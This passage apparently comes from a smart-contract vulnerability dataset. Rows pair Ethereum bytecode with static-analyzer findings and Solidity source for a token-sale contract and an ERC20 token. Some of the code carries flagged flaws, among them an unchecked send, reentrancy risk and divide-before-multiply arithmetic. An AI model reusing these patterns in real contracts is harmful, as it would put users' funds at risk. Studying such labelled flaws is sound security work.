ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000610a2e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dfb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e1590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000610c0782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e1590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b6000828211151515610e0957fe5b81830390505b92915050565b6000808284019050838110151515610e2957fe5b8091505b50929150505600a165627a7a72305820ffe1a9fa9c52ef41e63d290052aba3be8e9402e9bf2f44df9ee3326772b5b8690029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 4,294 |
0xe9ed43a15c47b4dfe2fb2e2731e438237b483890
|
pragma solidity ^0.4.0;
contract CrypteloERC20{
mapping (address => uint256) public balanceOf;
function transfer(address to, uint amount);
function burn(uint256 _value) public returns (bool success);
}
contract CrypteloPreSale{
function isWhiteList(address _addr) public returns (uint _group);
}
contract TadamWhitelistPublicSale{
function isWhiteListed(address _addr) returns (uint _group);
mapping (address => uint) public PublicSaleWhiteListed;
}
contract CrypteloPublicSale{
using SafeMath for uint256;
mapping (address => bool) private owner;
uint public contributorCounter = 0;
mapping (uint => address) contributor;
mapping (address => uint) contributorAmount;
/*
Public Sale Timings and bonuses
*/
uint ICOstartTime = 0;
uint ICOendTime = now + 46 days;
//first 7 days bonus 25%
uint firstDiscountStartTime = ICOstartTime;
uint firstDiscountEndTime = ICOstartTime + 7 days;
//day 7 to day 14 bonus 20%
uint secDiscountStartTime = ICOstartTime + 7 days;
uint secDiscountEndTime = ICOstartTime + 14 days;
//day 14 to day 21 bonus 15%
uint thirdDiscountStartTime = ICOstartTime + 14 days;
uint thirdDiscountEndTime = ICOstartTime + 21 days;
//day 21 to day 28 bonus 10%
uint fourthDiscountStartTime = ICOstartTime + 21 days;
uint fourthDiscountEndTime = ICOstartTime + 28 days;
/*
External addresses
*/
address public ERC20Address;
address public preSaleContract;
address private forwardFundsWallet;
address public whiteListAddress;
event eSendTokens(address _addr, uint _amount);
event eStateChange(bool state);
event eLog(string str, uint no);
event eWhiteList(address adr, uint group);
function calculateBonus(uint _whiteListLevel) returns (uint _totalBonus){
uint timeBonus = currentTimeBonus();
uint totalBonus = 0;
uint whiteListBonus = 0;
if (_whiteListLevel == 1){
whiteListBonus = whiteListBonus.add(5);
}
totalBonus = totalBonus.add(timeBonus).add(whiteListBonus);
return totalBonus;
}
function currentTimeBonus () public returns (uint _bonus){
uint bonus = 0;
//ICO is running
if (now >= firstDiscountStartTime && now <= firstDiscountEndTime){
bonus = 25;
}else if(now >= secDiscountStartTime && now <= secDiscountEndTime){
bonus = 20;
}else if(now >= thirdDiscountStartTime && now <= thirdDiscountEndTime){
bonus = 15;
}else if(now >= fourthDiscountStartTime && now <= fourthDiscountEndTime){
bonus = 10;
}else{
bonus = 5;
}
return bonus;
}
function CrypteloPublicSale(address _ERC20Address, address _preSaleContract, address _forwardFundsWallet, address _whiteListAddress ){
owner[msg.sender] = true;
ERC20Address = _ERC20Address;
preSaleContract = _preSaleContract;
forwardFundsWallet = _forwardFundsWallet;
whiteListAddress = _whiteListAddress;
}
/*
States are
false - Paused - it doesn't accept payments
true - Live - accepts payments and disburse tokens if conditions meet
*/
bool public currentState = false;
/*
Financial Ratios
*/
uint hardCapTokens = addDecimals(8,187500000);
uint raisedWei = 0;
uint tokensLeft = hardCapTokens;
uint reservedTokens = 0;
uint minimumDonationWei = 100000000000000000;
uint public tokensPerEther = addDecimals(8, 12500); //1250000000000
uint public tokensPerMicroEther = tokensPerEther.div(1000000);
function () payable {
uint tokensToSend = 0;
uint amountEthWei = msg.value;
address sender = msg.sender;
//check if its live
require(currentState);
eLog("state OK", 0);
require(amountEthWei >= minimumDonationWei);
eLog("amount OK", amountEthWei);
uint whiteListedLevel = isWhiteListed(sender);
require( whiteListedLevel > 0);
tokensToSend = calculateTokensToSend(amountEthWei, whiteListedLevel);
require(tokensLeft >= tokensToSend);
eLog("tokens left vs tokens to send ok", tokensLeft);
eLog("tokensToSend", tokensToSend);
//test for minus
if (tokensToSend <= tokensLeft){
tokensLeft = tokensLeft.sub(tokensToSend);
}
addContributor(sender, tokensToSend);
reservedTokens = reservedTokens.add(tokensToSend);
eLog("send tokens ok", 0);
forwardFunds(amountEthWei);
eLog("forward funds ok", amountEthWei);
}
function calculateTokensToSend(uint _amount_wei, uint _whiteListLevel) public returns (uint _tokensToSend){
uint tokensToSend = 0;
uint amountMicroEther = _amount_wei.div(1000000000000);
uint tokens = amountMicroEther.mul(tokensPerMicroEther);
eLog("tokens: ", tokens);
uint bonusPerc = calculateBonus(_whiteListLevel);
uint bonusTokens = 0;
if (bonusPerc > 0){
bonusTokens = tokens.div(100).mul(bonusPerc);
}
eLog("bonusTokens", bonusTokens);
tokensToSend = tokens.add(bonusTokens);
eLog("tokensToSend", tokensToSend);
return tokensToSend;
}
function payContributorByNumber(uint _n) onlyOwner{
require(now > ICOendTime);
address adr = contributor[_n];
uint amount = contributorAmount[adr];
sendTokens(adr, amount);
contributorAmount[adr] = 0;
}
function payContributorByAdress(address _adr) {
require(now > ICOendTime);
uint amount = contributorAmount[_adr];
sendTokens(_adr, amount);
contributorAmount[_adr] = 0;
}
function addContributor(address _addr, uint _amount) private{
contributor[contributorCounter] = _addr;
if (contributorAmount[_addr] > 0){
contributorAmount[_addr] += _amount;
}else{
contributorAmount[_addr] = _amount;
}
contributorCounter++;
}
function getContributorByAddress(address _addr) constant returns (uint _amount){
return contributorAmount[_addr];
}
function getContributorByNumber(uint _n) constant returns (address _adr, uint _amount){
address contribAdr = contributor[_n];
uint amount = contributorAmount[contribAdr];
return (contribAdr, amount);
}
function forwardFunds(uint _amountEthWei) private{
raisedWei += _amountEthWei;
forwardFundsWallet.transfer(_amountEthWei); //find balance
}
function sendTokens(address _to, uint _amountCRL) private{
//invoke call on token address
CrypteloERC20 _tadamerc20;
_tadamerc20 = CrypteloERC20(ERC20Address);
_tadamerc20.transfer(_to, _amountCRL);
eSendTokens(_to, _amountCRL);
}
function setCurrentState(bool _state) public onlyOwner {
currentState = _state;
eStateChange(_state);
}
function burnAllTokens() public onlyOwner{
CrypteloERC20 _tadamerc20;
_tadamerc20 = CrypteloERC20(ERC20Address);
uint tokensToBurn = _tadamerc20.balanceOf(this);
require (tokensToBurn > reservedTokens);
tokensToBurn -= reservedTokens;
eLog("tokens burned", tokensToBurn);
_tadamerc20.burn(tokensToBurn);
}
function isWhiteListed(address _address) returns (uint){
/*
return values :
0 = not whitelisted at all,
1 = white listed early (pre sale or before 15th of March)
2 = white listed after 15th of March
*/
uint256 whiteListedStatus = 0;
TadamWhitelistPublicSale whitelistPublic;
whitelistPublic = TadamWhitelistPublicSale(whiteListAddress);
uint256 PSaleGroup = whitelistPublic.PublicSaleWhiteListed(_address);
//if we have it in the PublicSale add it
if (PSaleGroup > 0){
whiteListedStatus = PSaleGroup;
}else{
CrypteloPreSale _testPreSale;
_testPreSale = CrypteloPreSale(preSaleContract);
if (_testPreSale.isWhiteList(_address) > 0){
//exists in the pre-sale white list threfore give em early 1
whiteListedStatus = 1;
}else{
//not found on either
whiteListedStatus = 0;
}
}
eWhiteList(_address, whiteListedStatus);
return whiteListedStatus;
}
function addDecimals(uint _noDecimals, uint _toNumber) private returns (uint _finalNo) {
uint finalNo = _toNumber * (10 ** _noDecimals);
return finalNo;
}
function withdrawAllTokens() public onlyOwner{
CrypteloERC20 _tadamerc20;
_tadamerc20 = CrypteloERC20(ERC20Address);
uint totalAmount = _tadamerc20.balanceOf(this);
require(totalAmount > reservedTokens);
uint toWithdraw = totalAmount.sub(reservedTokens);
sendTokens(msg.sender, toWithdraw);
}
function withdrawAllEther() public onlyOwner{
msg.sender.send(this.balance);
}
modifier onlyOwner(){
require(owner[msg.sender]);
_;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c3f6acf14610479578063280da6fa146104a657806331c91117146104bb57806335bf90ca146104d057806343bff7651461053a578063474bbab21461056357806354d06009146105a35780636081f5cb146105f85780636f9170f61461062f578063760ee49c1461067c57806377921952146106a1578063779a5a7f146106ca578063897c86131461071757806390063fd414610750578063a6021ace14610773578063b2c6b6dd146107c8578063c17e2aa11461081d578063e3967d6a14610832578063f856d6051461085b575b60008060008060009350349250339150601160149054906101000a900460ff16151561013257600080fd5b7fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f60006040518080602001838152602001828103825260088152602001807f7374617465204f4b0000000000000000000000000000000000000000000000008152506020019250505060405180910390a160165483101515156101b457600080fd5b7fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f836040518080602001838152602001828103825260098152602001807f616d6f756e74204f4b00000000000000000000000000000000000000000000008152506020019250505060405180910390a161022d82610884565b905060008111151561023e57600080fd5b6102488382610adc565b9350836014541015151561025b57600080fd5b7fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f6014546040518080602001838152602001828103825260208152602001807f746f6b656e73206c65667420767320746f6b656e7320746f2073656e64206f6b8152506020019250505060405180910390a17fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f8460405180806020018381526020018281038252600c8152602001807f746f6b656e73546f53656e6400000000000000000000000000000000000000008152506020019250505060405180910390a1601454841115156103645761035d84601454610cce90919063ffffffff16565b6014819055505b61036e8285610ce7565b61038384601554610e3090919063ffffffff16565b6015819055507fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f600060405180806020018381526020018281038252600e8152602001807f73656e6420746f6b656e73206f6b0000000000000000000000000000000000008152506020019250505060405180910390a161040383610e4e565b7fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f836040518080602001838152602001828103825260108152602001807f666f72776172642066756e6473206f6b000000000000000000000000000000008152506020019250505060405180910390a150505050005b341561048457600080fd5b61048c610ec3565b604051808215151515815260200191505060405180910390f35b34156104b157600080fd5b6104b9610ed6565b005b34156104c657600080fd5b6104ce611040565b005b34156104db57600080fd5b6104f160048080359060200190919050506110e6565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b341561054557600080fd5b61054d611171565b6040518082815260200191505060405180910390f35b341561056e57600080fd5b61058d6004808035906020019091908035906020019091905050610adc565b6040518082815260200191505060405180910390f35b34156105ae57600080fd5b6105b6611177565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561060357600080fd5b610619600480803590602001909190505061119d565b6040518082815260200191505060405180910390f35b341561063a57600080fd5b610666600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610884565b6040518082815260200191505060405180910390f35b341561068757600080fd5b61069f60048080351515906020019091905050611207565b005b34156106ac57600080fd5b6106b46112b6565b6040518082815260200191505060405180910390f35b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112bc565b6040518082815260200191505060405180910390f35b341561072257600080fd5b61074e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611305565b005b341561075b57600080fd5b61077160048080359060200190919050506113ac565b005b341561077e57600080fd5b6107866114e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d357600080fd5b6107db611508565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561082857600080fd5b61083061152e565b005b341561083d57600080fd5b610845611771565b6040518082815260200191505060405180910390f35b341561086657600080fd5b61086e61180f565b6040518082815260200191505060405180910390f35b6000806000806000809350601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff16638cb9ce39876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561094e57600080fd5b5af1151561095b57600080fd5b505050604051805190509150600082111561097857819350610a65565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663f99031a7886040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a3957600080fd5b5af11515610a4657600080fd5b505050604051805190501115610a5f5760019350610a64565b600093505b5b7fb595f85ad60a5a71144b1ebe4eb4c2249a7bf63be40fb658a0be93786098a5418685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a183945050505050919050565b60008060008060008060009450610b0164e8d4a510008961181590919063ffffffff16565b9350610b186018548561183090919063ffffffff16565b92507fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f836040518080602001838152602001828103825260088152602001807f746f6b656e733a200000000000000000000000000000000000000000000000008152506020019250505060405180910390a1610b938761119d565b9150600090506000821115610bcb57610bc882610bba60648661181590919063ffffffff16565b61183090919063ffffffff16565b90505b7fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f8160405180806020018381526020018281038252600b8152602001807f626f6e7573546f6b656e730000000000000000000000000000000000000000008152506020019250505060405180910390a1610c4e8184610e3090919063ffffffff16565b94507fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f8560405180806020018381526020018281038252600c8152602001807f746f6b656e73546f53656e6400000000000000000000000000000000000000008152506020019250505060405180910390a1849550505050505092915050565b6000828211151515610cdc57fe5b818303905092915050565b8160026000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610dd55780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550610e1a565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600081548092919060010191905055505050565b6000808284019050838110151515610e4457fe5b8091505092915050565b80601360008282540192505081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ec057600080fd5b50565b601160149054906101000a900460ff1681565b60008060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f3257600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610ff157600080fd5b5af11515610ffe57600080fd5b5050506040518051905091506015548211151561101a57600080fd5b61102f60155483610cce90919063ffffffff16565b905061103b338261186b565b505050565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561109757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505050565b6000806000806002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181935093505050915091565b60185481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806111ab611771565b9250600091506000905060018514156111d5576111d2600582610e3090919063ffffffff16565b90505b6111fa816111ec8585610e3090919063ffffffff16565b610e3090919063ffffffff16565b9150819350505050919050565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561125e57600080fd5b80601160146101000a81548160ff0219169083151502179055507fa46cd7959c5db759a04eee402d13b23bf7b5ed11d149519a02bbe7c305ebdf6781604051808215151515815260200191505060405180910390a150565b60015481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005544211151561131757600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611363828261186b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561140657600080fd5b6005544211151561141657600080fd5b6002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611498828261186b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561158857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561164757600080fd5b5af1151561165457600080fd5b5050506040518051905090506015548111151561167057600080fd5b601554810390507fdc16747a8d26503e1c5f78f5b5e6a7fbc36acc0e5503776476033a160eaffd5f8160405180806020018381526020018281038252600d8152602001807f746f6b656e73206275726e6564000000000000000000000000000000000000008152506020019250505060405180910390a18173ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561175557600080fd5b5af1151561176257600080fd5b50505060405180519050505050565b60008060009050600654421015801561178c57506007544211155b1561179a5760199050611808565b60085442101580156117ae57506009544211155b156117bc5760149050611807565b600a5442101580156117d05750600b544211155b156117de57600f9050611806565b600c5442101580156117f25750600d544211155b1561180057600a9050611805565b600590505b5b5b5b8091505090565b60175481565b600080828481151561182357fe5b0490508091505092915050565b60008060008414156118455760009150611864565b828402905082848281151561185657fe5b0414151561186057fe5b8091505b5092915050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561193457600080fd5b5af1151561194157600080fd5b5050507fb657ae630ba37e867b2c317246dd6089ed144afdf61c77ee30a6773b46cc0e698383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008083600a0a8302905080915050929150505600a165627a7a7230582036dcb97cd675e10ba4de0af4288f577882f7ed05de3986c8fd2384d0a19f0c5d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,295 |
0x13a4e44ef847f01acf31f131267d112b54ceed0d
|
/**
*Submitted for verification at Etherscan.io on 2021-03-26
*/
/**
*Submitted for verification at BscScan.com on 2021-03-02
*/
pragma solidity ^0.5.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "owner calls only!");
_;
}
function setOwner(address _add) public onlyOwner{
owner = _add;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20,owned {
using SafeMath for uint256;
// using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 valueFounder, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mint(msg.sender, valueFounder * 10 ** uint256(decimals));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
